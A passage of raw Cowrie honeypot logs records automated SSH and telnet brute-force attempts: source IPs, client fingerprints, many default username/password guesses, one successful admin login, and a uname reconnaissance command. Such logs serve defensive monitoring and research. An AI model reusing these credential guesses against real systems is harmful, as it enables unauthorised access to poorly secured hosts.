a2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:57.811611Z","src_ip":"45.156.87.254","session":"d2e604f1b644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:58.239682Z","src_ip":"45.156.87.254","session":"d2e604f1b644","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:59.325725Z","src_ip":"45.156.87.254","session":"d2e604f1b644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.181.82.215","src_port":22846,"dst_ip":"10.17.0.5","dst_port":23,"session":"5041e54c485f","protocol":"telnet","message":"New connection: 223.181.82.215:22846 (10.17.0.5:23) [session: 5041e54c485f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:06:59.600866Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44622,"dst_ip":"159.203.135.109","dst_port":22,"session":"38a54a5dae7b","protocol":"ssh","message":"New connection: 45.156.87.254:44622 (159.203.135.109:22) [session: 38a54a5dae7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:02.687557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:02.697634Z","src_ip":"45.156.87.254","session":"38a54a5dae7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:02.818718Z","src_ip":"45.156.87.254","session":"38a54a5dae7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:03.422151Z","src_ip":"45.156.87.254","session":"38a54a5dae7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:04.516284Z","src_ip":"45.156.87.254","session":"38a54a5dae7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.65804624557495,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:07.766972Z","src_ip":"20.123.41.163","session":"22a2af073c83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":44638,"dst_ip":"159.203.135.109","dst_port":22,"session":"926ed377badf","protocol":"ssh","message":"New connection: 45.156.87.254:44638 (159.203.135.109:22) [session: 926ed377badf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:08.145939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:08.150901Z","src_ip":"45.156.87.254","session":"926ed377badf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:08.251937Z","src_ip":"45.156.87.254","session":"926ed377badf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:08.504399Z","src_ip":"45.156.87.254","session":"926ed377badf","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:08.726425Z","src_ip":"45.156.87.254","session":"926ed377badf","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:08.729959Z","src_ip":"45.156.87.254","session":"926ed377badf","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:08.831093Z","src_ip":"45.156.87.254","session":"926ed377badf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:08.837862Z","src_ip":"45.156.87.254","session":"926ed377badf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35478,"dst_ip":"159.203.135.109","dst_port":22,"session":"67dcd7eeb7fd","protocol":"ssh","message":"New connection: 45.156.87.254:35478 (159.203.135.109:22) [session: 67dcd7eeb7fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:13.028053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:13.034858Z","src_ip":"45.156.87.254","session":"67dcd7eeb7fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:13.122209Z","src_ip":"45.156.87.254","session":"67dcd7eeb7fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.606769800186157,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:13.184776Z","src_ip":"104.245.105.2","session":"7ebec9d6b9b9","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:13.384685Z","src_ip":"45.156.87.254","session":"67dcd7eeb7fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.16.214.226","src_port":56868,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0a0f6a4c949","protocol":"ssh","message":"New connection: 185.16.214.226:56868 (10.17.0.5:22) [session: e0a0f6a4c949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:13.636552Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:13.646404Z","src_ip":"185.16.214.226","session":"e0a0f6a4c949","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:13.784932Z","src_ip":"185.16.214.226","session":"e0a0f6a4c949","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"A123456","message":"login attempt [bitrix/A123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:14.354871Z","src_ip":"185.16.214.226","session":"e0a0f6a4c949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:14.470735Z","src_ip":"45.156.87.254","session":"67dcd7eeb7fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":46938,"dst_ip":"10.17.0.5","dst_port":23,"session":"143c4ae217df","protocol":"telnet","message":"New connection: 20.123.41.163:46938 (10.17.0.5:23) [session: 143c4ae217df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:15.160521Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:15.492612Z","src_ip":"185.16.214.226","session":"e0a0f6a4c949","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.942363262176514,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:15.543131Z","src_ip":"223.181.82.215","session":"5041e54c485f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":46948,"dst_ip":"10.17.0.5","dst_port":23,"session":"e5353f3cd441","protocol":"telnet","message":"New connection: 20.123.41.163:46948 (10.17.0.5:23) [session: e5353f3cd441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:15.659013Z"}
{"eventid":"cowrie.session.closed","duration":2.1745502948760986,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:17.334648Z","src_ip":"20.123.41.163","session":"143c4ae217df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":35494,"dst_ip":"159.203.135.109","dst_port":22,"session":"8556baec3cd2","protocol":"ssh","message":"New connection: 45.156.87.254:35494 (159.203.135.109:22) [session: 8556baec3cd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:18.029300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:18.090640Z","src_ip":"45.156.87.254","session":"8556baec3cd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:18.174223Z","src_ip":"45.156.87.254","session":"8556baec3cd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"liyang","password":"123456","message":"login attempt [liyang/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:18.428052Z","src_ip":"45.156.87.254","session":"8556baec3cd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:19.625659Z","src_ip":"45.156.87.254","session":"8556baec3cd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":57846,"dst_ip":"159.203.135.109","dst_port":22,"session":"2094e48e507f","protocol":"ssh","message":"New connection: 45.156.87.254:57846 (159.203.135.109:22) [session: 2094e48e507f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:23.290488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:23.295784Z","src_ip":"45.156.87.254","session":"2094e48e507f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:23.378717Z","src_ip":"45.156.87.254","session":"2094e48e507f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aB123456","message":"login attempt [root/aB123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:23.627705Z","src_ip":"45.156.87.254","session":"2094e48e507f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.144.233.139","src_port":41692,"dst_ip":"10.17.0.5","dst_port":22,"session":"343b90e80351","protocol":"ssh","message":"New connection: 45.144.233.139:41692 (10.17.0.5:22) [session: 343b90e80351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:24.357548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:24.363288Z","src_ip":"45.144.233.139","session":"343b90e80351","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:24.455627Z","src_ip":"45.144.233.139","session":"343b90e80351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:24.713160Z","src_ip":"45.156.87.254","session":"2094e48e507f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"12345678","message":"login attempt [administrator/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:24.834088Z","src_ip":"45.144.233.139","session":"343b90e80351","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:25.925433Z","src_ip":"45.144.233.139","session":"343b90e80351","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.102","src_port":48510,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1acf739c56d","protocol":"ssh","message":"New connection: 103.143.231.102:48510 (10.17.0.5:22) [session: a1acf739c56d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T09:07:26.831746Z"}
